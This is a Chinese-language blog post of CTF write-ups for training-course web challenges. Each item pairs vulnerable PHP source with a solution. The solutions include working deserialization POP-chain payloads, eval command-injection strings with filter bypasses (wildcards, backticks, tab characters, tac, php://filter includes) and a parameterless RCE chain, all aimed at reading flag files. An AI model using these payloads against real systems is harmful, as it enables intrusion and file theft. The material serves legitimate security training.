Lufer

  • 首页
  • 编程
  • 学习笔记
  • 日常折腾
Lufer
Code the World
  1. 首页
  2. 学习笔记
  3. WriteUP
  4. 正文

集训-高阶班Web练习题WP

2025年8月21日 19点热度 1人点赞 0条评论

1-2 CTFshow255

题目

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}



题解

从cookie反序列化user。
http://222.71.48.91:10002/?username=xxxxxx&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

1-3 简单的反序列化-1

题目

<?php
highlight_file(__FILE__);
class evil
{
    public  $cmd;
    public function __destruct()
    {
        system($this->cmd);
    }
}
unserialize($_GET['data']);

题解

从data传入命令

class evil
{
    public  $cmd;
}
$d=new evil();
$d->cmd="cat /flag.txt";
echo serialize($d);

http://222.71.48.91:10003/?data=O:4:%22evil%22:1:{s:3:%22cmd%22;s:9:%22cat%20/flag%22;}

1-4 简单的反序列化-2

题目

<?php


highlight_file(__FILE__);

class  ezUnserialize
{
    public  $key ;
    public  function __destruct()
    {
        if($this->key == "FLAG"){
            include('flag.php');
            echo $flag;
        }
    }
}
unserialize($_POST['a']);

题解

class  ezUnserialize
{
    public  $key ;
}
$d=new ezUnserialize();
$d->key='FLAG';
echo serialize($d);

//O:13:"ezUnserialize":1:{s:3:"key";s:4:"FLAG";}

1-5 简单的反序列化-3

题目

<?php

error_reporting(0);
highlight_file(__FILE__);

class New_gril{
    public $girlfriend;
    function __construct($a){
        echo 3;
        $this->girlfriend = $a;
    }
}

class Old_gril
{
    public $girlfriend = 'Ok';
    function __destruct(){
        echo 2;

        $old = 'long long ago'.$this->girlfriend;
        echo $old;
    }
}

class Ok{
    public $ok;
    function __toString(){
        echo 1;//flag.php
        echo file_get_contents($this->ok); //出口
        return 'nice';
    }
    //echo this->ok; //出口
}
unserialize(($_POST['need'])); //入口
?>

题解

OldGirl中字符串拼接会触发toString。

class New_gril{
    public $girlfriend;
}

class Old_gril
{
    public $girlfriend = 'Ok';
}

class Ok{
    public $ok;
}

$g=new New_gril();
$o=new Old_gril();
$k=new Ok();
$k->ok='flag.php';
$o->girlfriend=$k;

echo serialize($o);
//O:8:"Old_gril":1:{s:10:"girlfriend";O:2:"Ok":1:{s:2:"ok";s:8:"flag.php";}}

2-2

题目

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

题解

// w33m中的this->w22m 被作为函数调用,目标是调用GetFlag,因此w33m.w22m=Getflag
// w00m是getflage的父类,w44m,因此w33m.w00m=w44m;
// 要调用w33m的tosting,需要通过w22m的echo

class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';

}

class w22m{
    public $w00m;

}

class w33m{
    public $w00m;
    public $w22m;
}

$w4=new w44m();
$w3=new w33m();
$w3->w00m=$w4;
$w3->w22m='Getflag';
$w2=new w22m();
$w2->w00m=$w3;

echo urlencode(serialize($w2));



?>
//O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

2-3

题目

<?php
//flag is in flag.php
 error_reporting(0);
 highlight_file(__FILE__);
//ini_set('display_errors', 1);
//ini_set('display_startup_errors', 1);
//error_reporting(E_ALL);
class Read {
    public $var;
    public function file_get($value)
    {
        //file_get_contents文件读取函数
        $text = base64_encode(file_get_contents($value));
        return $text;
    }

    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }//用来欢迎




    //将函数用为字符串时会调用__toString方法
    public function __toString()
    {
        //如果str数组的键为str,并且值为对象,则去访问对象的source属性


        return $this->str['str']->source;
    }


    
    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {       
            highlight_file($this->source);
        }

    }

    //1.tostring
    //2.xxx _get()
    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $p;
    public function __construct()
    {
        $this->p = array();
    }


    
    public function __get($key)
    {
        //$function = $this->p; 的意思是将p数组的值赋值给$function
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $show = new Show('index.php');
    $show->_show();
}

题解

最终的出口是Read函数中file_get方法,这个方法被invoke调用,因此需要找到invoke调用点,并且传入值var=flag.php

要调用invoke,需要调用不存在的方法,在Test类下面的get函数中会将p作为函数返回,下一步要找get的调用点,并且Test.p=Read

调用不存在的属性会触发get,因此需要通过Show函数的toString方法,调用str['str']的source方法触发,因此Show.str['str']=Test

要调用toString方法,需要通过Show函数的构造函数,因此还需要新建一个Show变量,将构造好的变量作为构造函数参数传入。

class Read {
    public $var;
}
class Show
{
    public $source;
    public $str;
    public function __construct($file='')
    {
        $this->source = $file;
    }//用来欢迎

}

class Test
{
    public $p;

}
$r=new Read();
$r->var='flag.php';
$t=new Test();
$t->p=$r;
$s=new Show();
$s->str['str']=$t;
$ss=new Show($s);
echo serialize($ss);

?>

//O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:0:"";s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:1:"p";O:4:"Read":1:{s:3:"var";s:8:"flag.php";}}}}s:3:"str";N;}

3-1



<?php
/*
在 Linux shell 中,* 可以匹配任意长度的字符,? 可以匹配单个字符;
你可以利用通配符代替文件名里被过滤的部分,例如:
fl* 可以匹配 flag
fl?g 可以匹配 flag
*/
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

题解

?c=system(%27cat%20/fl?g%27);

3-2

题目

<?php

/*
system函数被过滤了,可以找到其它命令执行的函数吗?
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

题解

通过 echo ` command `; 来执行
?c=echo%20`cat%20/fl?g`;

3-3

<?php
/*
空格被过滤了 ,有没有其它方式可以替换空格呢?
同样的,读取文件的cat也可以使用平替命令
*/


error_reporting(0);
if (isset($_GET['c'])) {
    $c = $_GET['c'];
    if (!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)) {
        eval($c);
    }

} else {
    highlight_file(__FILE__);
}

题解

%09替换空格  tac替代cat
?c=echo%09`tac%09/fl?g`;

3-4

题目

<?php

/*
括号都被过滤了,尝试下文件包含?
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

题解

过滤了括号,借助include函数,来随意获取其他传入参数

通过include函数包含我们的目标flag文件来回显

目标是eval(include flag;)

中间空格依然使用%09绕过,分号用?>绕过。
通过文件包含协议转义输出文件

c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=/flag

4-2

题目

<?php

/*
/dev/null代表linux的空设备文件,所有往这个文件里面写入的内容都会丢失,俗称“黑洞”。那么执行了>/dev/null之后,标准输出就会不再存在,没有任何地方能够找到输出的内容。
*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

题解

截断即可
?c=cat%20/flag;

4-3

题目

<?php
highlight_file(__FILE__);
if (isset($_GET['code'])) {
    if (';' == preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
        eval($_GET['code']);
    } else {
        die('nonono');
    }
} else {
    echo 'please input code';
}
?>
please input code

题解

由于鄙人看不懂正则,直接问AI

### 正则表达式解析:/[^\W]+\((?R)?\)/
该正则表达式用于匹配 嵌套的函数调用结构 ,具体功能如下:

1. 1.
   结构分解 :
```
[^\W]+   匹配函数名(等价 \w+)
\(      匹配左括号
(?R)?   递归整个模式(允许嵌套)
\)      匹配右括号
```
2. 1.
   匹配示例 :
- ✅ func()
- ✅ func1(func2())
- ✅ a(b(c(d())))
- ❌ 123abc() (数字开头)
- ❌ my_func( (括号不完整)

这个正则只允许函数加括号形式的输入。

这里参考了这篇文章来读取根目录文件:无参数读文件和RCE总结

?code=if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));


解释一下这段代码,
首先看if的功能 
strrev(crypt(serialize(array())))所获得的字符串第一位有几率是/

crypt函数对输入的字符串进行散列,通过serialize(array())来得到一个字符串,再传入此函数加密,加密是有概率在最后一位产生/的,因此通过strrev()函数进行翻转,可以有概率在第一位得到/字符

此时通过ord,再chr,可以获得字符串的第一位,通过chdir,可以切换当前的工作目录至/

然后调用show_source函数,这里通过getcwd()可以获得一个.,然后scandir(.)可以获得当前目录下的所有文件,以数组的形式返回,经过测试,flag文件会被排在第7位,无法直接获取,借助array_flip(),先把数组的值和键对调,这样就把flag从值变成键,再通过array_rand()来随机获取一个数字的键,从而有概率得到flag,再通过show_source显示文件内容。
标签: CTF
最后更新:2025年8月21日

Lufer

新的一天开始啦

点赞
< 上一篇
下一篇 >

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复

文章目录
  • 1-2 CTFshow255
    • 题目
    • 题解
  • 1-3 简单的反序列化-1
    • 题目
    • 题解
  • 1-4 简单的反序列化-2
    • 题目
    • 题解
  • 1-5 简单的反序列化-3
    • 题目
    • 题解
  • 2-2
    • 题目
    • 题解
  • 2-3
    • 题目
    • 题解
  • 3-1
    • 题解
  • 3-2
    • 题目
    • 题解
  • 3-3
    • 题解
  • 3-4
    • 题目
    • 题解
  • 4-2
    • 题目
    • 题解
  • 4-3
    • 题目
    • 题解

COPYRIGHT © 2025 lufer.cc.

Theme Kratos Made By Seaton Jiang

鲁ICP备2021045819号